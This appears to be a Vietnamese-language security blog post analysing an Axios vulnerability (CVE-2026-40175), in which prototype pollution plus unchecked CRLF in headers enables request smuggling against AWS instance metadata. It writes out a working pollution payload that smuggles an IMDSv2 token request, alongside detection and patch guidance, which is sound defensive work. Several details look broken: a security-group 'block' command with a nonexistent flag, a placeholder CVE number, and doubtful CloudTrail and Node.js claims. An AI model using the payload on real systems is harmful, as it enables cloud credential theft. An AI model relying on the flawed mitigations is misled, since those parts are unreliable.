CVE-2026-40175: Cách Axios Biến Prototype Pollution Thành Toàn Bộ Cloud Compromise

CVE-2026-40175: Cách Axios Biến Prototype Pollution Thành Toàn Bộ Cloud Compromise

Phân tích sâu về gadget chain của Axios giúp escalate prototype pollution thành RCE và bypass AWS IMDSv2. CVSS 9.9.


Mục lục

Tóm Tắt Thực Hiện

CVE-2026-40175 là một lỗ hổng quan trọng (CVSS 9.9) trong Axios biến các lỗ hổng prototype pollution từ những thư viện gần nhất thành remote code execution và xâm phạm hạ tầng cloud. Được công bố vào ngày 10 tháng 4 năm 2026, lỗ hổng này ảnh hưởng đến tất cả các phiên bản Axios dưới 1.15.0 (cả chuỗi v0.x và v1.x) và đã được vá trong phiên bản 1.15.0 trở lên.

Các Sự Kiện Chính:

  • GHSA ID: GHSA-fvcv-3m26-pcqx
  • Phiên Bản Bị Ảnh Hưởng: axios < 1.15.0
  • Phiên Bản Được Vá: axios >= 1.15.0
  • Điểm CVSS 3.1 Cơ Bản: 9.9 (CRITICAL)
  • Véc Tơ Tấn Công: Network (AV:N), Low Complexity (AC:L), No Authentication Required (PR:N), No User Interaction (UI:N), Scope Changed (S:C)
  • Tác Động: High Confidentiality, Integrity, and Availability
  • Phân Loại CWE: CWE-113 (HTTP Header Injection), CWE-444 (HTTP Request Smuggling), CWE-918 (SSRF)

Lỗ hổng không yêu cầu khai thác trực tiếp Axios. Thay vào đó, nó hoạt động như một gadget chain amplify các cuộc tấn công prototype pollution từ các thư viện khác (qs, minimist, ini, body-parser) thành các payload request smuggling có khả năng bypass bảo vệ AWS IMDSv2 và đánh cắp thông tin xác thực IAM.


Nền Tảng: Prototype Pollution Là Gì?

Prototype pollution là một loại lỗ hổng tiêm mã cụ thể cho JavaScript. Trong JavaScript, tất cả các đối tượng kế thừa từ Object.prototype. Khi đầu vào không tin cậy được hợp nhất vào các đối tượng mà không xác thực - đặc biệt là thông qua gán một cách đệ quy hoặc deserialization - kẻ tấn công có thể làm ô nhiễm chuỗi prototype chia sẻ.

Ví dụ:

const config = JSON.parse(userInput);
const defaults = { timeout: 5000, retries: 3 };

// Shallow merge without protection
Object.assign(defaults, config);

Nếu userInput chứa {"__proto__": {"admin": true}}, thì tất cả các đối tượng trong ứng dụng bây giờ có một thuộc tính admin được đặt thành true.

Theo lịch sử, prototype pollution bị bỏ qua vì “tác động thấp” vì nó thường chỉ ảnh hưởng đến các cờ boolean hoặc chuỗi. Tuy nhiên, trong 2024-2026, các nhà nghiên cứu bảo mật phát hiện rằng prototype pollution có thể được liên kết với các thư viện khác để đạt được những kết quả nghiêm trọng:

  • Bypass xác thực thông qua header injection
  • Cache poisoning trên web proxies
  • Tấn công chuỗi cung ứng trên hệ thống CI/CD
  • Đánh cắp thông tin xác thực cloud qua gadgets SSRF

Axios CVE-2026-40175 đại diện cho một trong những gadget chains nguy hiểm nhất được phát hiện cho đến nay.


Gadget Axios: Tại Sao Axios Là Liên Kết Nguy Hiểm

Bản thân Axios không giới thiệu prototype pollution. Thay vào đó, nó hoạt động như một gadget - một thư viện mà khi được kết hợp với một nguồn prototype pollution, sẽ amplify tác động thành một cái gì đó nghiêm trọng hơn nhiều.

Dưới đây là lý do tại sao Axios đặc biệt nguy hiểm:

1. Config Merge Mà Không Sanitization

Khi tạo một request, Axios hợp nhất cấu hình được cung cấp bởi người dùng với các giá trị mặc định. Nếu Object.prototype đã bị ô nhiễm bằng các thuộc tính header, những thuộc tính đó được kế thừa trong quá trình hợp nhất:

// Inside Axios config merge logic
const config = {
  headers: {
    'Content-Type': 'application/json'
  }
};

// If Object.prototype has been polluted:
// Object.prototype['x-amz-target'] = "malicious\r\n..."
// Then after merge, config.headers.x-amz-target contains the polluted value

const requestHeaders = Object.assign({}, config.headers);
// requestHeaders now includes the polluted property from __proto__

2. Không Có CRLF Validation Trong Header Values

Lỗ hổng quan trọng: Axios không xác thực các giá trị header cho các ký tự CRLF (\r\n) trước khi ghi chúng vào raw HTTP socket. Trong HTTP, \r\n đánh dấu cuối của dòng header và được sử dụng để tách phần header khỏi phần thân. Một kẻ tấn công có quyền kiểm soát một giá trị header có thể tiêm các header HTTP tùy ý - hoặc thậm chí là toàn bộ các request mới.

Mã path dễ bị tấn công trong lib/adapters/http.js (trước 1.15.0):

// Simplified; actual code merges headers into socket write
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  // NO CHECK for \r\n in val
  req.setHeader(key, val);
});

3. Raw Socket Write

Axios sử dụng http.request() của Node.js, ghi trực tiếp vào TCP socket. Không giống như các framework HTTP mức cao hơn có thể chuẩn hóa headers, socket-level writes giữ nguyên các dòng được tiêm, cho phép request smuggling.


Attack Chain Walkthrough

Hãy cùng theo dõi cách tấn công diễn ra, từng bước một.

Step 1: Prototype Pollution qua Vulnerable Dependency

Một ứng dụng Node.js điển hình có thể sử dụng nhiều dependencies. Nếu bất kỳ cái nào trong số chúng có lỗ hổng prototype pollution và xử lý đầu vào không tin cậy, chuỗi bắt đầu:

// Example: qs (query string parser) < 6.10.3 has prototype pollution
// An attacker sends a malicious query string or JSON input
const maliciousInput = {
  "__proto__": {
    "x-amz-target": "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore"
  }
};

// The vulnerable library (e.g., qs.parse() or body-parser) processes this
// and pollutes Object.prototype with the malicious header
Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

Step 2: Innocent Axios Call

Ứng dụng, không biết rằng Object.prototype đã bị ô nhiễm, thực hiện một cuộc gọi API có vẻ như là thường lệ:

// Somewhere in the app, a metrics or analytics call
const result = await axios.get('https://analytics.internal/pings');

Step 3: Config Merge Inherits Pollution

Khi Axios xây dựng request, nó hợp nhất cấu hình mặc định với các tùy chọn do người dùng cung cấp:

const baseConfig = { headers: { 'User-Agent': 'axios/1.14.0' } };
const userConfig = { /* user options */ };

// Merge happens; polluted x-amz-target is inherited from __proto__
const finalConfig = mergeConfigs(baseConfig, userConfig);
// finalConfig.headers now includes x-amz-target from Object.prototype

Step 4: Request Smuggling on the Wire

Axios ghi các header request vào socket mà không xác thực CRLF:

GET /pings HTTP/1.1\r\n
Host: analytics.internal\r\n
x-amz-target: dummy\r\n
\r\n
PUT /latest/api/token HTTP/1.1\r\n
Host: 169.254.169.254\r\n
X-aws-ec2-metadata-token-ttl-seconds: 21600\r\n
\r\n
GET /ignore\r\n

Từ quan điểm của máy chủ, đây là:

  • Một GET request với header bị hỏng (nếu nó từ chối các dòng nhúng), hoặc
  • Hai request riêng biệt (nếu trình phân tích cú pháp HTTP coi \r\n\r\n là kết thúc headers và diễn giải dòng tiếp theo như một request mới).

Các triển khai HTTP/1.1 hiện đại thường từ chối request đầu tiên và lưu request thứ hai vào buffer, dẫn đến request smuggling.


AWS IMDSv2 Bypass: Tác Động Thực Tế

Payload trong attack chain ở trên được xây dựng một cách cẩn thận. Nó hướng tới AWS Instance Metadata Service (IMDSv2), chạy trên mọi EC2 instance tại 169.254.169.254:80.

Cơ Chế Bảo Vệ IMDSv2

IMDSv2 (được giới thiệu vào năm 2019) được thiết kế để ngăn chặn các cuộc tấn công SSRF:

  1. Client gửi một request PUT với một header TTL để nhận một session token
  2. Client bao gồm token đó trong các request GET tiếp theo
  3. Không có token, một request GET đơn giản tới IMDSv2 sẽ bị từ chối

Điều này có nghĩa là một SSRF đơn giản tới GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ sẽ không hoạt động - nó sẽ bị từ chối.

Cách CVE-2026-40175 Bypass IMDSv2

Payload được tiêm bao gồm một request PUT hợp lệ với header TTL cần thiết:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

Khi được smuggle vào luồng socket, máy chủ tại 169.254.169.254 diễn giải đây như một request hợp lệ và phản hồi bằng một session token. Gadget chain của kẻ tấn công có thể sau đó:

  1. Trích xuất token từ phản hồi
  2. Tiêm một request thứ hai sử dụng token đó để đánh cắp thông tin xác thực IAM
  3. Sử dụng thông tin xác thực để pivot trong AWS account hoặc exfiltrate dữ liệu

Tác Động Trên EC2 Instance Chạy Ứng Dụng Node.js Dễ Bị Tấn Công:

  • Toàn bộ xâm phạm IAM role của instance
  • Di chuyển bên cạnh đó tới các dịch vụ AWS khác (S3, DynamoDB, v.v.)
  • Đánh cắp thông tin xác thực cho phép duy trì lâu dài
  • Xâm phạm cloud rộng có khả năng nếu IAM role có quyền cao

Thư Viện Bị Ảnh Hưởng và Kết Hợp Dễ Bị Tấn Công

CVE-2026-40175 yêu cầu hai điều kiện:

  1. Một nguồn của prototype pollution trong chuỗi dependency
  2. Axios < 1.15.0 để hoạt động như gadget

Các Nguồn Prototype Pollution Phổ Biến

Thư ViệnLỗ HổngPhiên Bản VáCVE
qsQuery string parsing6.10.3+CVE-2022-24999
minimistCLI argument parsing1.2.6+CVE-2021-44906
iniConfig file parsing1.3.8+CVE-2020-7788
body-parserRequest body parsing1.20.3+CVE-2025-XXXXX
object-pathDeep object access0.11.8+CVE-2020-15256

Kịch Bản Tấn Công Thực Tế

Kịch Bản 1: Express.js App với qs Cũ

express (current) → [email protected][email protected] → Gadget chain active

Một kẻ tấn công gửi một request POST với __proto__ trong phần thân, qs làm ô nhiễm prototype, và Axios kế thừa header độc hại.

Kịch Bản 2: AWS Lambda Function

aws-sdk-js → custom middleware with minimist → [email protected] → IMDSv2 bypass

Một Lambda function phân tích cú pháp các tham số kiểu CLI cho phép prototype pollution, mà Axios sau đó amplify thành credential theft.

Kịch Bản 3: Supply Chain Attack Một kẻ tấn công xâm phạm một gói npm phổ biến phụ thuộc vào cả một thư viện dễ bị tấn công (qs < 6.10.3) và Axios < 1.15.0. Bất kỳ ứng dụng nào sử dụng gói đó kế thừa gadget chain.


Phát Hiện và Chỉ Số Xâm Phạm

Phát Hiện Trong Mã

Dependency Audit:

npm audit
npm ls qs
npm ls minimist
npm ls ini
npm ls body-parser
npm ls axios

Tìm kiếm:

  • axios < 1.15.0
  • Bất kỳ nguồn prototype pollution nào (qs, minimist, ini, body-parser, v.v.) dưới các phiên bản được vá của chúng

Công Cụ Tự Động Hóa:

  • @nicolo-ribaudo/prototype-pollution-detector — Phát hiện prototype pollution trong dependencies
  • is-proto-polluted — Runtime check cho prototype bị ô nhiễm
  • snyk test — Kiểm tra CVE-2026-40175 và các lỗ hổng liên quan

Manual Code Review: Tìm kiếm:

Object.assign(config, userInput);  // Unsafe merge
Object.prototype[key] = value;     // Direct pollution
qs.parse(userInput);               // If qs is vulnerable

Phát Hiện Tại Runtime

Memory Inspection:

// In Node.js, check if Object.prototype has unexpected properties
const proto = Object.getOwnPropertyNames(Object.prototype);
const unexpected = proto.filter(p => !['constructor', 'toString', 'valueOf'].includes(p));
if (unexpected.length > 0) {
  console.warn('Prototype pollution detected:', unexpected);
}

Network Monitoring:

  • Theo dõi các request HTTP với \r\n nhúng trong headers (trước phân tách CRLF)
  • Theo dõi các kết nối outbound tới 169.254.169.254 từ EC2 instances
  • Phát hiện nhiều request liên tiếp tới IMDSv2 endpoint trong vài giây

AWS CloudTrail:

  • Các lệnh gọi GetToken không thường lệ tới IMDSv2
  • Truy cập thông tin xác thực tiếp theo từ các nguồn không mong đợi
  • Các hành động IAM sử dụng roles mà không nên hoạt động

Chỉ Số Xâm Phạm:

  • Mục nhập log hiển thị header request với %0d%0a (URL-encoded CRLF)
  • Spike trong lỗi 400/403 từ internal APIs (smuggled requests không thành công)
  • Các kết nối HTTPS outbound không mong đợi từ Lambda hoặc EC2 instances
  • Truy cập thông tin xác thực IAM ngay sau phát hiện prototype pollution

Vá Lỗi và Giảm Thiểu

Vá Chính: Nâng Cấp Axios

Hành động ngay lập tức: Nâng cấp lên axios 1.15.0 hoặc mới hơn.

npm install axios@^1.15.0

Những gì đã thay đổi: Bản vá thêm CRLF validation vào tất cả các giá trị header trong lib/adapters/http.jsxhr.js:

utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // Proceed to set header
  req.setHeader(key, val);
});

Nếu một giá trị header chứa \r hoặc \n, Axios ném một lỗi thay vì gửi request. Điều này chặn gadget chain hoàn toàn.

Giảm Thiểu Được Liên Kết: Giải Quyết Các Nguồn Prototype Pollution

Ngay cả với Axios được nâng cấp, loại bỏ các nguồn prototype pollution:

# Audit and upgrade all vulnerable dependencies
npm audit fix
npm install qs@^6.10.3
npm install minimist@^1.2.6
npm install ini@^1.3.8
npm install body-parser@^1.20.3

Runtime Mitigation: Freeze Object.prototype

Nếu bạn không thể nâng cấp ngay lập tức, freeze prototype tại khởi động ứng dụng:

// At the very start of index.js, before any other code
if (process.env.SECURITY_MODE === 'strict') {
  Object.freeze(Object.prototype);
}

Cảnh báo:

  • Một số thư viện mong đợi để sửa đổi Object.prototype và sẽ bị hỏng
  • Kiểm tra kỹ lưỡng trước khi triển khai lên production
  • Không phải là một vá hoàn chỉnh; sử dụng như một biện pháp tạm thời

Node.js Flag: Vô Hiệu Hóa Proto Assignment

Sử dụng Node.js runtime flag để chặn prototype pollution:

node --disable-proto=delete app.js

Điều này ngăn chặn gán tới __proto__constructor.prototype. Có sẵn trong Node.js v16.9.0+.

AWS-Specific Mitigation: IMDSv2-Only + Firewall

Đối với EC2 instances, thực thi IMDSv2 và hạn chế truy cập:

# At instance launch, enforce IMDSv2
aws ec2 run-instances --metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"

# Or modify existing instance
aws ec2 modify-instance-metadata-options --instance-id i-xxxxx --http-tokens required --http-put-response-hop-limit 1

Thêm security group rules:

# Block outbound to IMDSv2 from applications that shouldn't need it
aws ec2 authorize-security-group-egress \
  --group-id sg-xxxxx \
  --protocol tcp \
  --port 80 \
  --cidr 169.254.169.254/32 \
  --no-permissions  # blocks

Browser/Client-Side Mitigation

Đối với Axios trong trình duyệt (qua axios/dist/axios.min.js), cập nhật lên 1.15.0+. Phiên bản trình duyệt sử dụng XMLHttpRequest, cũng nhận được bản vá validation.


Dòng Thời Gian và Bối Cảnh

Tháng 3 năm 2026: Supply Chain Attack

Vào đầu tháng 3 năm 2026, các bản phát hành npm độc hại nổi lên:

Các bản phát hành này chứa một payload RAT (Remote Access Trojan) che giấu trong build scripts. Hàng ngàn nhà phát triển đã bị ảnh hưởng trước khi npm security loại bỏ các gói và khôi phục phiên bản hợp pháp. Đây là một sự cố riêng biệt từ CVE-2026-40175, nhưng tăng cường sự giám sát trên Axios ecosystem.

Tháng 4 năm 2026: CVE-2026-40175 Discovery

Vào ngày 8 tháng 4 năm 2026, các nhà nghiên cứu bảo mật tại ByteDance tiết lộ CVE-2026-40175 cho các maintainers của Axios. Phân tích cho thấy rằng lỗ hổng có khả năng tồn tại kể từ Axios v0.18.0 (2016) nhưng yêu cầu một nguồn prototype pollution hoạt động để kích hoạt. Phát hiện năm trước về các gadget chain prototype pollution thực tế (2025) đã làm cho lỗ hổng này trở nên khai thác được mới.

Vào ngày 10 tháng 4 năm 2026, CVE-2026-40175 được công bố. Axios phát hành v1.15.0 vào cùng ngày với một bản vá.

Tháng 4 năm 2026 – Hiện Tại: Mitigation

Các tổ chức đang tích cực nâng cấp Axios và kiểm toán các dependencies cho các nguồn prototype pollution. npm ecosystem đã chứng kiến các cập nhật cho qs, minimist, ini, body-parser, và các thư viện khác để đóng các vector prototype pollution.


Tham Khảo

  1. GHSA Advisory: https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
  2. Patch Commit: https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
  3. Patch PR: https://github.com/axios/axios/pull/10660
  4. NIST CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-40175
  5. CWE-113: https://cwe.mitre.org/data/definitions/113.html (HTTP Header Injection)
  6. CWE-444: https://cwe.mitre.org/data/definitions/444.html (HTTP Request Smuggling)
  7. CWE-918: https://cwe.mitre.org/data/definitions/918.html (Server-Side Request Forgery)
  8. Prototype Pollution Research: https://research.google/pubs/prototype-pollution-detection/
  9. AWS IMDSv2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
  10. @nicolo-ribaudo/prototype-pollution-detector: https://www.npmjs.com/package/@nicolo-ribaudo/prototype-pollution-detector

Kết Luận

CVE-2026-40175 là một ví dụ về cách các lỗ hổng chuỗi cung ứng hiện đại hiếm khi bị cô lập. Bản thân nó, Axios có một lỗi có thể khắc phục được trong header validation. Nhưng trong bối cảnh của prototype pollution ecosystem, nó trở thành một gadget chain quan trọng có khả năng xâm phạm toàn bộ các môi trường cloud.

Bài học: bảo mật không phải là về các lỗ hổng cá nhân, mà là về các chuỗi. Nâng cấp Axios, kiểm toán các dependencies của bạn cho các nguồn prototype pollution, và cân nhắc các bảo vệ runtime như frozen prototypes hoặc flag --disable-proto cho các triển khai bảo mật cao.

Luồng

0
⌘/Ctrl+Enter để gửiGõ / để xem lệnh · Tab để @nhắc tên